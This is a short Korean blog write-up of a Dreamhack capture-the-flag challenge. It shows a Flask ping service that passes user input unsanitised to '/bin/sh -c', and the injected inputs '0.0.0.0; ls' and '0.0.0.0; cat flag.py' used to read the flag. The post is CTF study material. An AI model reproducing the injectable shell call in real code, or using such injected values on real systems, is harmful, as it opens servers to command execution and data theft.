촉촉한초코칩
Dreamhack - command-injection-chatgpt 본문
코드
#!/usr/bin/env python3
import subprocess
from flask import Flask, request, render_template, redirect
from flag import FLAG
APP = Flask(__name__)
@APP.route('/')
def index():
return render_template('index.html')
@APP.route('/ping', methods=['GET', 'POST'])
def ping():
if request.method == 'POST':
host = request.form.get('host')
cmd = f'ping -c 3 {host}'
try:
output = subprocess.check_output(['/bin/sh', '-c', cmd], timeout=5)
return render_template('ping_result.html', data=output.decode('utf-8'))
except subprocess.TimeoutExpired:
return render_template('ping_result.html', data='Timeout !')
except subprocess.CalledProcessError:
return render_template('ping_result.html', data=f'an error occurred while executing the command. -> {cmd}')
return render_template('ping.html')
if __name__ == '__main__':
APP.run(host='0.0.0.0', port=8000)
입력한 값에 따라 화면을 다르게 보여주는 코드
공격
; 와 다른 명령어를 같이 입력해보았다.
0.0.0.0; ls
바로 나왔다.. flag를 열어본다.
0.0.0.0; cat flag.py
'Study > Web Hacking' 카테고리의 다른 글
Dreamhack - login filtering (1) | 2024.09.06 |
---|---|
Dreamhack - baby-union (0) | 2024.08.25 |
Dreamhack - error based sql injection (0) | 2024.08.15 |
Dreamhack - simple_sqli_chatgpt (0) | 2024.08.14 |
Dreamhack - php7cmp4re (0) | 2024.08.07 |